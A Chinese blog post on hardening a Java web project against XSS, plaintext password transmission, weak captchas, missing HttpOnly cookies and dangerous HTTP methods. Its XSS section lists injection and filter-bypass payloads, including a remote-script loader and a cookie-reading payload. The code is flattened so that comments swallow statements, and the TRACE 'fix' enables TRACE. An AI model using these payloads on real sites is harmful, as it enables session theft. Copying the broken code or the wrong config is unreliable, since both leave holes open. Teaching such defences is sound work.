LK最近在对已有项目进行安全漏洞防御,现在将一些心得分享出来和大家一起讨论.主要是从下面几个方面进行漏洞修复。

1. 跨站脚本攻击漏洞(xss)
2. 敏感数据未加密传输
3. 验证机制缺陷
4. Cookie中未设HttpOnly标识
5. 危险的HTTP方法未禁用

1.跨站脚本攻击漏洞(xss)

先来了解一下什么是xss

  • 概念
    xss又叫css(cross site scripting,跨站脚本攻击),xss攻击通过在web页面插入恶意脚本,当页面被浏览时,恶意脚本会被执行,实现攻击用户的目的。

  • 类型
    1.存储型/持久型
    存储型指恶意脚本会被存储在服务器端,如数据库中或者文件中。例如留言板等很容易因为输入检验不严谨导致被攻击。
    2.反射型/非持久型
    反射型一般是带有恶意脚本参数的URL,是一次性的。
    3.DOM型
    基于DOM文档对象模型的xss漏洞,客户端的恶意脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。可能触发DOM型xss的属性有document.write、innerHTML、location、window.name、document.referer等。

  • 构造方法
    1.利用html标记<>进行操作

    <script>alert(1);</script>
    <script>prompt(1)</script>
    <iframe src="javascript:alert(1)">
    

    2.利用html标签属性
    利用html标签支持js伪协议形式,如src,href,background、value、action、lowsrc、bgsound、dynsrc等,进行xss注入。如:

    <img src="javascript:alert(1);"/>
    <table background="javascript:alert(1);"></table>
    

    3.事件利用
    可以利用html中某些动作事件,绑定恶意脚本。常用的事件有mouseover、onclick、onfocus、onerror、onload、onchange等,具体见:html事件属性

    <input type="button" value="click me" "alert(1)" />
    

    .4.利用css跨站
    css样式表可作为恶意脚本载体,不需要嵌入html中,可以通过link或者@import进行引用,比较隐蔽,不过不同浏览器之间不能通用。

    <div style="background-image:url(javascript:alert(1))"></div>
    <style>body{background-image:url(javascript:alert(1));}//expression中可使用全角字符p{background-image:expression(alert(1));}<style>@import'javascript:alert('xss');'</style>
    </style>

    5.规避过滤规则
    可利用大小写混淆、拼接和拆分(空格回车和tab绕过)、字符编码等方式,如:

    <scRiPt>alert(1);</scrIPt>
    <scr<script>ipt>alert(1)</scr</script>ipt>
    <img src="javas      cript:alert(1);"/>//语句必须完整,有分号或者标签对。
    //可以将代码用ASCII码替换,也可十进制、十六进制、八进制编码
    <img src="javascrip#116&#58alert(1)" />
    <a href=&quot;#javascript:alert(&#39;xss&#39;)&quot;>xss</a>
    //拆分,可绕过长度限制
    <script>z='document.'</script>
    <script>z=+'write'("'</script>
    <script>z=z+'<script'</script>

    6.DOM方法利用

    var s=document.createElement("script");
    s.src="http://xxx/xxx.js";
    document.getElementsByTagName("head")[0].appendChild(s);
    

    7.location方法利用
    利用location加JavaScript伪代码,将“符号”、“变量名”、“函数名” 都变成字符串,在字符串中可以使用js编码,构造payload。

    <input type="button" value="click me" name=javascript:alert%281%29" location=this.name />
    <img src="1" location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">
  • 防御
    1前端检验

     前端页面引入检测脚本------------httphijack1.1.0.js这是git上前端大神写的对其进行了小小的修改,与h5和node相关的部分暂且不用
    

    他主要检测了以下几方面攻击
    1)所有内联事件执行的代码
    2)href 属性 javascript: 内嵌的代码
    3)静态脚本文件内容
    4)动态添加的脚本文件内容
    5)document-write添加的内容
    6)iframe嵌套
    具体脚本如下:

    
    'use strict';
    (function(window) {var httphijack = function() {},inlineEventMap = {}, //内联事件扫描记录inlineEventId = 0, //内联事件扫描IDscanInlineElement = false; //是否需要扫描内联事件// 安全域,白名单
    var safeList = [/([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(\.)+[A-Za-z]{2,14}/i, //*.yy.com/((https|http):\/\/)+([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(\.)+[A-Za-z]{2,14}/i, //http开头/([a-zA-Z|a-zA-Z\d])+(\.)+(yy|duowan|yystatic|baidu|hiido|qq|baidu|gclick|minisplat|baidustatic|huanjuyun|sina|1931)+(:[0-9]{1,4})+(\.)+[A-Za-z]{2,14}/i, //帶端口的請求/[a-zA-Z0-9]\:\/\/[a-zA-Z0-9_/]*/i //手机相关
    ];// 危险域,黑名单
    // var dangerList = [];// 过滤class关键词
    var filterClassName = ['BAIDU_DUP_wrapper', //百度推广'BAIDU_DSPUI_FLOWBAR'
    ];// 过滤name关键词
    var filterProName = ['text','#text','IFRAME','SCRIPT','IMG'
    ];// 过滤id关键词
    var filterNodeId = ['1qa2ws'
    ];var inlineEventList = ['alert','location'
    ];
    // reset console
    if (!console) {window.console = {log: function() {return true;}};
    }/*** 统计上报函数* @param  {[type]} url 拦截脚本地址* @param  {[type]} className 拦截插入元素className* @param  {[type]} eName 内联事件名称* @param  {[type]} fUrl ifrmae乔套url*/
    function hiidoStat(url, className, eName, fUrl) {var hiidoParam = {'eventid': 10010793,'bak1': url,'bak2': className,'bak3': eName,'parm1': fUrl};if( url!=""  ||  url!=null ){console.log("拦截脚本地址"+url)}if( url!=""  ||  url!=null ){console.log("拦截插入元素"+className)}if( url!=""  ||  url!=null ){console.log("内联事件名称"+eName)}if( url!=""  ||  url!=null ){console.log("frmae乔套url"+fUrl)}//  h5Report(url, className, eName, fUrl);window.on_security_interdiction && window.on_security_interdiction.call(window, hiidoParam);
    }/*** h5性能检测统计* @param  {[type]} url 拦截脚本地址* @param  {[type]} className 拦截插入元素className* @param  {[type]} eName 内联事件名称* @param  {[type]} iframeUrl ifrmae乔套url*/
    //    function h5Report(url, className, eName, iframeUrl) {
    //        var databody = {},
    //            queryStr = '';
    //
    //        databody.url = url ? url : '';
    //        databody.classname = className ? className : '';
    //        databody.name = eName ? eName : '';
    //        databody.iframeurl = iframeUrl ? iframeUrl : '';
    //        databody.pathname = window.location.pathname;
    //        databody.hostname = window.location.hostname;
    //        databody.ua = navigator.userAgent;
    //
    //        for (var n in databody) {
    //            if (databody[n] !== '') {
    //                queryStr += n + '=' + databody[n] + '&';
    //            }
    //        }
    //
    //        (new Image).src = 'http://h5.yy.com/hostage/report?' + queryStr;
    //    }/*** 过滤指定关键字* @param  {[Array]} 过滤词库 * @param  {[String]} value    [需要验证的字符串]* @return {[Boolean]}         [false -- 验证不通过,true -- 验证通过]*/function filter(list, value) {if (list === safeList) {if (typeof(value) === 'undefined' || value === '') {return true;}} else {if (typeof(value) === 'undefined' || value === '') {return false;}}var length = list.length,i = 0;for (; i < length; i++) {// 建立黑名单正则var reg = new RegExp(list[i]);// 存在黑名单中,拦截if (reg.test(value.replace('https://', '').replace('http://', ''))) {return true;}}return false;}// 内联事件劫持
    function inlineEventFilter() {var i = 0,obj = null;for (obj in document) {if (/^on./.test(obj)) {interceptionInlineEvent(obj, i++);}}
    }/*** 内联事件拦截* @param  {[String]} eventName [内联事件名]* @param  {[Number]} eventID   [内联事件id]* @return {[type]}             [description]*/
    function interceptionInlineEvent(eventName, eventID) {var isClick = (eventName === 'onclick');document.addEventListener(eventName.substr(2), function(e) {scanElement(e.target, isClick, eventName, eventID);}, true);
    }/*** 扫描元素是否存在内联事件* @param  {[DOM]} elem [DOM元素]* @param  {[Boolean]} isClick [是否是内联点击事件]* @param  {[String]} eventName [内联 on* 事件名]* @param  {[Number]} eventID [给每个内联 on* 事件一个id]*/
    function scanElement(elem, isClick, eventName, eventID) {var flag = elem.isScan,code = '', // 扫描内联代码hash = 0;// 跳过已扫描的事件if (!flag) {flag = elem.isScan = ++inlineEventId;}hash = (flag << 8) | eventID;if (hash in inlineEventMap) {return;}inlineEventMap[hash] = true;// 非元素节点if (elem.nodeType !== Node.ELEMENT_NODE) {return;}//扫描包括 a iframe img video div 等所有可以写内联事件的元素if (elem[eventName]) {code = elem.getAttribute(eventName);if (code && filter(inlineEventList, code)) {// 注销事件elem[eventName] = null;hiidoStat('', '', code, '');console.log('拦截可疑内联事件:' + code);}}// 扫描 <a href="javascript:"> 的脚本if (isClick && elem.tagName === 'A' && elem.protocol === 'javascript:') {code = elem.href.substr(11);if (filter(inlineEventList, code)) {// 注销代码elem.href = 'javascript:void(0)';hiidoStat('', '', code, '');console.log('拦截可疑事件:' + code);}}// 递归扫描上级元素scanElement(elem.parentNode);
    }/*** 主动防御 MutationEvent* 使用 MutationObserver 进行静态插入脚本的拦截* @return {[type]} [description]*/
    //    function interceptionStaticScript() {
    //        var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
    //        // 该构造函数用来实例化一个新的 Mutation 观察者对象 Mutation 观察者对象能监听在某个范围内的 DOM 树变化
    //        if (!MutationObserver) return;
    //        var observer = new MutationObserver(function(mutations) {
    //            mutations.forEach(function(mutation) {
    //                var nodes = mutation.addedNodes;
    //
    //                // 逐个遍历
    //                for (var i = 0; i < nodes.length; i++) {
    //                    var node = nodes[i];
    //                    // 扫描 script 与 iframe
    //                    if (node.tagName === 'SCRIPT' || node.tagName === 'IFRAME') {
    //                        // 拦截到可疑iframe
    //                        if (node.tagName === 'IFRAME' && node.src && !filter(safeList, node.src)) {
    //                            node.parentNode && node.parentNode.removeChild(node);
    //                            hiidoStat('', 'insertIFRMAETag', '', node.src);
    //                            // console.log('拦截到可疑iframe', node.src);
    //
    //                        } else if (node.src) {
    //                            // 只放行白名单
    //                            if (!filter(safeList, node.src)) {
    //                                node.parentNode && node.parentNode.removeChild(node);
    //                                hiidoStat(node.src, 'insertScriptTag', '', '');
    //                                // console.log('拦截可疑静态脚本:', node.src);
    //                            }
    //                        }
    //                    }
    //                }
    //            });
    //        });
    //
    //        // 传入目标节点和观察选项
    //        // 如果 target 为 document 或者 document.documentElement
    //        // 则当前文档中所有的节点添加与删除操作都会被观察到d
    //        observer.observe(document, {
    //            subtree: true,
    //            childList: true
    //        });
    //    }/*** 使用 DOMNodeInserted  进行动态脚本拦截监* 此处无法拦截,只能监测* @return {[type]} [description]*/
    function interceptionDynamicScript() {document.addEventListener('DOMNodeInserted', function(e) {var node = e.target;if (!filter(safeList, node.src) || filter(filterClassName, node.className) || filter(filterProName, node.name) || filter(filterNodeId, node.id)) {node.parentNode.removeChild(node);hiidoStat(node.src ? node.src : '', node.className ? node.className : '', node.name ? node.name : '', '');console.log('拦截可以创建节点:'+ node.nodeName + ',id为:'+(node.id?node.id:''));}}, true);
    }/*** 重写单个 window 窗口的 document.write 属性* @param  {[BOM]} window [浏览器window对象]* @return {[type]}       [description]*/
    function resetDocumentWrite(window) {var overWrite = window.document.write;window.document.write = function(string) {if (filter(filterClassName, string) || filter(filterProName, string) || filter(filterNodeId, string)) {hiidoStat('', string, '', '');// console.log('拦截可疑模块:', string);return;}overWrite.apply(document, arguments);};
    }/*** 重写单个 window 窗口的 setAttribute 属性* @param  {[BOM]} window [浏览器window对象]* @return {[type]} [description]*/
    function resetSetAttribute(window) {var overWrite = window.Element.prototype.setAttribute;window.Element.prototype.setAttribute = function(name, value) {if (this.tagName === 'SCRIPT' && /^src$/i.test(name)) {if (!filter(safeList, value)) {hiidoStat(value, '', '', '');// console.log('拦截可疑模块:', value);return;}}overWrite.apply(this, arguments);};
    }/*** 使用 MutationObserver 对生成的 iframe 页面进行监控,* 防止调用内部原生 setAttribute 及 document.write* @return {[type]} [description]*/
    function defenseIframe() {// 先保护当前页面installHook(window);
    }/*** 实现单个 window 窗口的 setAttribute保护* @param  {[BOM]} window [浏览器window对象]* @return {[type]}       [description]*/
    function installHook(window) {resetSetAttribute(window);resetDocumentWrite(window);// MutationObserver 的不同兼容性写法var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;if (!MutationObserver) return;var observer = new MutationObserver(function(mutations) {mutations.forEach(function(mutation) {var nodes = mutation.addedNodes;for (var i = 0; i < nodes.length; i++) {var node = nodes[i];// 给生成的 iframe 里环境也装上重写的钩子if (node.tagName === 'IFRAME') {node.contentWindow && installHook(node.contentWindow);}}});});observer.observe(document, {subtree: true,childList: true});
    }/*** 使用 Object.defineProperty,锁住call和apply,使之无法被重写* @return {[type]} [description]*/
    function lockCallAndApply() {// 锁住 calltry {Object.defineProperty(Function.prototype, 'call', {value: Function.prototype.call,// 当且仅当仅当该属性的 writable 为 true 时,该属性才能被赋值运算符改变writable: false,// 当且仅当该属性的 configurable 为 true 时,该属性才能够被改变,也能够被删除configurable: false,enumerable: true});// 锁住 applyObject.defineProperty(Function.prototype, 'apply', {value: Function.prototype.apply,writable: false,configurable: false,enumerable: true});} catch (e) {console && console.log(e);}}
    /*** 操作cookie的方法*/
    var s__cookie = {set: function(key, val) {var date = new Date();date.setTime(date.getTime() + 60 * 1000); //格式化为cookie识别的时间document.cookie = key + '=' + val + ';expires=' + date.toGMTString(); //设置cookie},get: function(key) {var getCookie = document.cookie.replace(/[ ]/g, '');var arrCookie = getCookie.split(';');var tips;for (var i = 0; i < arrCookie.length; i++) {var arr = arrCookie[i].split('=');if (key == arr[0]) {tips = arr[1];break;}}return tips;}
    };
    /*** 重定向iframe url(页面被iframe包裹)*/
    function redirectionIframeSrc() {var flag = 'type';if (self !== top) {var parentUrl = document.referrer,length = safeList.length,i = 0;for (; i < length; i++) {// 建立白名单正则var reg = new RegExp(safeList[i], 'i');// 存在白名单中,放行if (reg.test(parentUrl)) {return;}}var url = location.href;var parts = url.split('#');if (location.search) {parts[0] += '&' + flag + '=3';} else {parts[0] += '?' + flag + '=3';}try {if (!s__cookie.get('HtpLocTmp')) {top.location.href = parts.join('#');// cookie记录这次跳转的时间点s__cookie.set('HtpLocTmp', '1');}hiidoStat('', '', '', parentUrl);// console.log('页面被嵌入iframe中:', parentUrl);} catch (e) {hiidoStat('', '', '', parentUrl);// console.log('页面被嵌入iframe中, 重定向失败');}}
    }// 初始化方法
    httphijack.init = function() {interceptionDynamicScript();scanInlineElement && inlineEventFilter();// interceptionStaticScript();lockCallAndApply();defenseIframe();redirectionIframeSrc();
    };if (typeof define === 'function' && define.amd) {define('httphijack', [], function() {return httphijack;});
    } else {window.httphijack = httphijack;
    }// 不支持 IE8-
    if (navigator.appName == 'Microsoft Internet Explorer' && (navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE6.0' || navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE7.0' || navigator.appVersion.split(';')[1].replace(/[ ]/g, '') == 'MSIE8.0')) {return;
    } else {if (!(/localhost/i).test(location.host) || (navigator.appName === 'Microsoft Internet Explorer' && (navigator.appVersion.match(/7./i) !== '7.' || navigator.appVersion.match(/8./i) !== '8.'))) {httphijack.init();}
    }
    })(window);
    

    有兴趣的话可以在git上搜里面有详细的功能介绍

    2.后端过滤
    xss防御的重点是后段,因为前端能做的真的很少
    后段我是采用过滤器实现的

    • 添加xss过滤器
    /*** 处理xss攻击* @author yrz**/
    public class RequestFilter extends OncePerRequestFilter{@Overrideprotected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,  FilterChain filterChain)throws ServletException, IOException {// 将request通过自定义的装饰类进行装饰XssRequestWrapper xssRequest = new XssRequestWrapper((HttpServletRequest) request);     filterChain.doFilter(xssRequest, response);}}
    • reqeust包装类,重写getParameter()等方法,这里面对参数的转义和替换,根据实际需求更改
    package com.sinosoft.filter;import java.util.HashMap;
    import java.util.Iterator;
    import java.util.Map;
    import java.util.regex.Pattern;import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletRequestWrapper;public class XssRequestWrapper  extends HttpServletRequestWrapper{private HttpServletRequest request;public XssRequestWrapper(HttpServletRequest request) {super(request);this.request = request;}/*** 重写getParameter方法*/@Overridepublic String getParameter(String name) {String value = super.getParameter(name);if (value == null) {return null;}value = format(value);return value;}/*** 重写getParameterMap*/@Override@SuppressWarnings("unchecked")public Map<String, String[]> getParameterMap() {HashMap<String, String[]> paramMap = (HashMap<String, String[]>) super.getParameterMap();paramMap = (HashMap<String, String[]>) paramMap.clone();for (Iterator iterator = paramMap.entrySet().iterator(); iterator.hasNext(); ) {Map.Entry<String, String[]> entry = (Map.Entry<String, String[]>) iterator.next();String [] values = entry.getValue();for (int i = 0; i < values.length; i++) {if(values[i] instanceof String){values[i] = format(values[i]);}}entry.setValue(values);}return paramMap;}/*** 重写getParameterValues*/@Overridepublic String[] getParameterValues(String name) {String[] values = super.getParameterValues(name);  int count = values.length;  String[] encodedValues = new String[count];  for (int i = 0; i < count; i++) {  encodedValues[i] = format(values[i]);  }  return encodedValues;  }/*** 重写getHeader*/@Overridepublic String getHeader(String name) {// TODO Auto-generated method stubreturn format(super.getHeader(name));}public String filter(String message) {if (message == null)return (null);message = format(message);return message;}/***  @desc 统一处理特殊字符的方法,替换掉sql和js的特殊字符*  @param name 要替换的字符*/private String format(String name) {return xssEncode(name);}/** * 将容易引起xss & sql漏洞的半角字符直接替换成全角字符 *  * @param s * @return */  private static String xssEncode(String s) {  if (s == null || s.isEmpty()) {  return s;  }else{  s = stripXSSAndSql(s);  }  StringBuilder sb = new StringBuilder(s.length() + 16);  for (int i = 0; i < s.length(); i++) {  char c = s.charAt(i);  switch (c) {  case '>':  sb.append(">");// 转义大于号break;  case '<':  sb.append("<");// 转义小于号break;
    //              case '\'':
    //                  sb.append("'");// 转义单引号
    //                  break;
    //              case '\"':
    //                  sb.append(""");// 转义双引号
    //                  break;
    //              case '&':
    //                  sb.append("&");// 转义&
    //                  break;
    //              case '#':
    //                  sb.append("#");// 转义#
    //                  break;default:  sb.append(c);  break;  }  }  return sb.toString();  }  /** *  * 防止xss跨脚本攻击(替换,根据实际情况调整) */  public static String stripXSSAndSql(String value) {  if (value != null) {  // NOTE: It's highly recommended to use the ESAPI library and// uncomment the following line to// avoid encoded attacks.
    //               value = ESAPI.encoder().canonicalize(value);// Avoid null characters/**         value = value.replaceAll("", "");***/  // Avoid anything between script tagsPattern scriptPattern = Pattern.compile("<[\r\n| | ]*script[\r\n| | ]*>(.*?)</[\r\n| | ]*script[\r\n| | ]*>", Pattern.CASE_INSENSITIVE);  value = scriptPattern.matcher(value).replaceAll("");  // Avoid anything in a src="http://www.yihaomen.com/article/java/..." type of e-xpressionscriptPattern = Pattern.compile("src[\r\n| | ]*=[\r\n| | ]*[\\\"|\\\'](.*?)[\\\"|\\\']", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);  value = scriptPattern.matcher(value).replaceAll("");  // Remove any lonesome </script> tagscriptPattern = Pattern.compile("</[\r\n| | ]*script[\r\n| | ]*>", Pattern.CASE_INSENSITIVE);  value = scriptPattern.matcher(value).replaceAll("");  // Remove any lonesome <script ...> tagscriptPattern = Pattern.compile("<[\r\n| | ]*script(.*?)>", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);  value = scriptPattern.matcher(value).replaceAll("");  // Avoid eval(...) expressionsscriptPattern = Pattern.compile("eval\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);  value = scriptPattern.matcher(value).replaceAll("");  // Avoid e-xpression(...) expressionsscriptPattern = Pattern.compile("e-xpression\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);  value = scriptPattern.matcher(value).replaceAll("");  // Avoid javascript:... expressionsscriptPattern = Pattern.compile("javascript[\r\n| | ]*:[\r\n| | ]*", Pattern.CASE_INSENSITIVE);  value = scriptPattern.matcher(value).replaceAll("");  // Avoid vbscript:... expressionsscriptPattern = Pattern.compile("vbscript[\r\n| | ]*:[\r\n| | ]*", Pattern.CASE_INSENSITIVE);  value = scriptPattern.matcher(value).replaceAll("");  // Avoid  expressionsscriptPattern = Pattern.compile("onload(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);  value = scriptPattern.matcher(value).replaceAll("");  }  return value;  }  }
    
    • xss注入过滤器
      <filter><filter-name>xssRequestFilter</filter-name><filter-class>com.sinosoft.filter.RequestFilter</filter-class>
    </filter>
    <filter-mapping><filter-name>xssRequestFilter</filter-name><url-pattern>/*</url-pattern>
    </filter-mapping>

    到此整个xss监测和防御就告一段落了,当然还可以使用csp内容安全策略,有兴趣大家可以研究研究,毕竟不是专业的前端。

2. 敏感数据未加密传输

  • 问题

    口令的传输未采用加密传输的机制

  • 解决思路

    启用信道加密以及身份识别技术,https协议,并且在前台做数据加密。
    具体实现:1.用户密码在前台进行md5加密。2.新增和修改用户时,用户密码进行2次加密。
    https实现请观看这篇博客 https://www.cnblogs.com/moon521/p/5948058.html

3.验证机制缺陷

这块主要添加高强度验证码

  • html
<label class="block clearfix"><span class="block input-icon input-icon-right"><input  id="checks"style="width:100px;" name="checks" class="form-control" placeholder="请输入验证码"  type="password" value=""/><img id="imgVerify"style="float: left;margin-left: 130px;margin-top: -28px;" src="" alt="点击更换验证码" /><a href=""style="float: right;margin-top: -28px;margin-right: 80px;" onclick="getVerify()" rel="nofollow">看不清,换一张</a></span></label>
  • js
$(document.body).ready(function () {//首次获取验证码$("#imgVerify").attr("src","${ctx}/getVerify?"+Math.random());});//点击“看不清楚”获取验证码function getVerify(){var src1=document.getElementById('imgVerify')src1.src = "${ctx}/getVerify?"+Math.random();}

-验证码生成类

public class RandomValidateCode {public static final String RANDOMCODEKEY= "RANDOMVALIDATECODEKEY";//放到session中的key//private String randString = "0123456789";//随机产生只有数字的字符串 private Stringprivate String randString = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";//随机产生只有字母的字符串//private String randString = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";//随机产生数字与字母组合的字符串private int width = 95;// 图片宽private int height = 25;// 图片高private int lineSize = 40;// 干扰线数量private int stringNum = 4;// 随机产生字符数量private Random random = new Random();/** 获得字体*/private Font getFont() {return new Font("Fixedsys", Font.CENTER_BASELINE, 18);}/** 获得颜色*/private Color getRandColor(int fc, int bc) {if (fc > 255)fc = 255;if (bc > 255)bc = 255;int r = fc + random.nextInt(bc - fc - 16);int g = fc + random.nextInt(bc - fc - 14);int b = fc + random.nextInt(bc - fc - 18);return new Color(r, g, b);}/*** 生成随机图片*/public void getRandcode(HttpServletRequest request, HttpServletResponse response) {HttpSession session = request.getSession();// BufferedImage类是具有缓冲区的Image类,Image类是用于描述图像信息的类BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);Graphics g = image.getGraphics();// 产生Image对象的Graphics对象,改对象可以在图像上进行各种绘制操作g.fillRect(0, 0, width, height);g.setFont(new Font("Times New Roman", Font.ROMAN_BASELINE, 18));g.setColor(getRandColor(110, 133));// 绘制干扰线for (int i = 0; i <= lineSize; i++) {drowLine(g);}// 绘制随机字符String randomString = "";for (int i = 1; i <= stringNum; i++) {randomString = drowString(g, randomString, i);}//将生成的随机字符串保存到session中,而jsp界面通过session.getAttribute("RANDOMCODEKEY"),//获得生成的验证码,然后跟用户输入的进行比较session.removeAttribute(RANDOMCODEKEY);session.setAttribute(RANDOMCODEKEY, randomString);g.dispose();try {// 将内存中的图片通过流动形式输出到客户端ImageIO.write(image, "JPEG", response.getOutputStream());} catch (Exception e) {e.printStackTrace();}}/** 绘制字符串*/private String drowString(Graphics g, String randomString, int i) {g.setFont(getFont());g.setColor(new Color(random.nextInt(101), random.nextInt(111), random.nextInt(121)));String rand = String.valueOf(getRandomString(random.nextInt(randString.length())));randomString += rand;g.translate(random.nextInt(3), random.nextInt(3));g.drawString(rand, 13 * i, 16);return randomString;}/** 绘制干扰线*/private void drowLine(Graphics g) {int x = random.nextInt(width);int y = random.nextInt(height);int xl = random.nextInt(13);int yl = random.nextInt(15);g.drawLine(x, y, x + xl, y + yl);}/** 获取随机的字符*/public String getRandomString(int num) {return String.valueOf(randString.charAt(num));}
}
  • 后台生成验证码
 @RequestMapping(method = RequestMethod.GET, value = "/getVerify")public void getVerify(HttpServletRequest request, HttpServletResponse response){response.setContentType("image/jpeg");//设置相应类型,告诉浏览器输出的内容为图片response.setHeader("Pragma", "No-cache");//设置响应头信息,告诉浏览器不要缓存此内容response.setHeader("Cache-Control", "no-cache");response.setDateHeader("Expire", 0);RandomValidateCode randomValidateCode = new RandomValidateCode();try {randomValidateCode.getRandcode(request, response);//输出验证码图片方法} catch (Exception e) {e.printStackTrace();}}
  • 验证码校验
String checks = request.getParameter("checks").trim().toLowerCase();HttpSession session = request.getSession();String verify = (String) session.getAttribute("RANDOMVALIDATECODEKEY");String verityNew = verify.toLowerCase();//将session中的验证码记录和用户提交的值进行比较//一致移除session记录,错误抛出异常if (!checks.equals(verityNew)) {throw new AuthenticationServiceException("VerityException");} else {session.removeAttribute("RANDOMVALIDATECODEKEY");}

4. Cookie中未设HttpOnly标识

  tomcat context.xml文件中配置<Context useHttpOnly="true">

5.危险的HTTP方法未禁用

tomcat server.xml文件中配置

<Connector connectionTimeout="20000" port="8080" protocol="HTTP/1.1" redirectPort="8443" allowTrace="true"/>

至此整个安全漏洞防御告一段落,当然还有好多问题,大家有什么问题可以在下面留言。
希望今天的自己比昨天更加进步。

web项目安全漏洞防御实战相关推荐

  1. web项目答辩总结_web实战项目遇到问题总结探索

    最近在写一个django的web项目,后端代码基本都已经写好了,主要是前端,以前学过一段前端,只是对一些基本的方法知道,但还有很多东西不熟练,问题是在遇到表单数据时候,如何对参数整体打包发送后端接口, ...

  2. 测试开发必备技能:Web安全测试漏洞靶场实战

    关注上方"测试开发技术",选择星标, 干货技术,第一时间送达! 安全在互联网行业,是一个对专业性较强,且敏感的一个领域,所谓"一念成佛,一念入魔",安全技术利用 ...

  3. 如何在IDEA中创建web项目并且部署到Tomcat中

    如何在IDEA中创建web项目并且部署到Tomcat中 步骤1:File->New Project, 步骤2:选择Project SDK为1.7 -> Next -> Finish( ...

  4. 文件上传漏洞、WebShell、防御及绕过利用、Web容器解析漏洞、编辑器上传漏洞

    文章目录 文件上传漏洞 漏洞概述 漏洞成因 漏洞危害 WebShell 大马 小马 GetShell 漏洞利用的条件 PUT方法上传文件 漏洞的防御.绕过和利用 黑白名单策略 安装upload-lab ...

  5. python构建知识库_手把手教导实战Python Web项目

    手把手教导实战Python Web项目 一.前言 Django是一个开放源代码的Web应用框架,由Python写成.采用了MVC的框架模式,即模型M,视图V和控制器C.Django的主要目的是简便.快 ...

  6. 创建以mybatis为基础的web项目(2)mabitis中的一对一关系项目实战

    mabitis中的一对一关系项目实战: 1.首先根据创建以mybatis为基础的web项目(1)中的流程将web项目部署好 打开IDE,建立web工程 在lib下面粘贴mybatis的jar,log4 ...

  7. java web项目请求控制及简单漏洞防范

    背景:当时项目没用什么框架,过滤器,请求限制等都需要自己手写. 1.请求加时间戳 在后台过滤器中可以加判断,如果请求时间戳与服务器时间相差太大,可以返回异常,具体情况可以具体使用. 请求中加时间戳的示 ...

  8. Java Web 项目SSO实战二之(win7 and Windows server 2008)

    JCIFS 的问题 Java Web 项目SSO实战 在上一篇中, 介绍了使用  jcifs 来进行域验证. 但是在Win7 或是windows server 2008 下, 验证却不成功, 会出现 ...

  9. 【安全】Java(web)项目安全漏洞及解决方式【面试+工作】

    文章目录 问题 一.安全性问题层次关系 二.安全性问题的本质 三.安全漏洞及处理方式 1.SQL注入攻击 2.XSS跨站脚本攻击 3.CSRF跨站请求伪造漏洞防护 4.URL链接注入漏洞防护 5.会话 ...

最新文章

  1. 【图像分类】 图像分类中的对抗攻击是怎么回事?
  2. JavaScript学习笔记07【6个经典案例——电灯开关、轮播图、自动跳转首页、动态表格、表格全选、表单验证】
  3. 测试计算机操作基础知识,计算机病毒基础知识测试
  4. linux crontab不运行,Linux运维知识之解决Linux中crontab不执行ntpdate问题
  5. 【转】QT中添加的资源文件qrc时的路径问题小结
  6. 转https_免费!这个PPT转PDF的方法不学可惜!
  7. 谷歌cloud_通过使用Google Cloud ML大规模提供机器学习模型,我们学到了什么
  8. 99岁杨振宁寄语青年学子:要清楚方向、选对方向
  9. cdh-5.10.0搭建安装
  10. 电脑出现 flash update failed 解决方法
  11. python3爬虫 - cookie登录实战
  12. [2018.07.26 T2] 背包问题
  13. 真人qq秀代码_波士顿动力Spot买家秀
  14. 如何提高matlab的运算速度慢,如何提高 matlab 计算速度 运算效率
  15. 小牛电动车能跑多快、多远?一起来了解一下
  16. 大话西游手游服务器维护要多久,大话西游手游7月22日维护及解读
  17. 湖南省中职计算机应用教资面试流程?
  18. ansible set_fact模块
  19. PaaS平台为什么越来越受欢迎?
  20. 快速排序_查找第k小元素

热门文章

  1. [财务]暂估业务处理流程
  2. Techsmith Camtasia Studio 2022.0.2屏幕录制软件
  3. 【论文辅导】新手如何从零开始发表CV论文,有三AI一对一辅导计划出炉!
  4. office 365无法登录
  5. 留不住的北上广深,春暖花开在光谷!
  6. 反反复复的植物神经紊乱 到底如何调节才是对的
  7. 荧光标记的透明质酸|FITC-Hyaluronate|荧光素透明质酸(齐岳生物)
  8. Matlab编程技巧:导入A2L文件
  9. 在Excel中刷新股票数据
  10. PowerBI系列之入门案例动态销售报告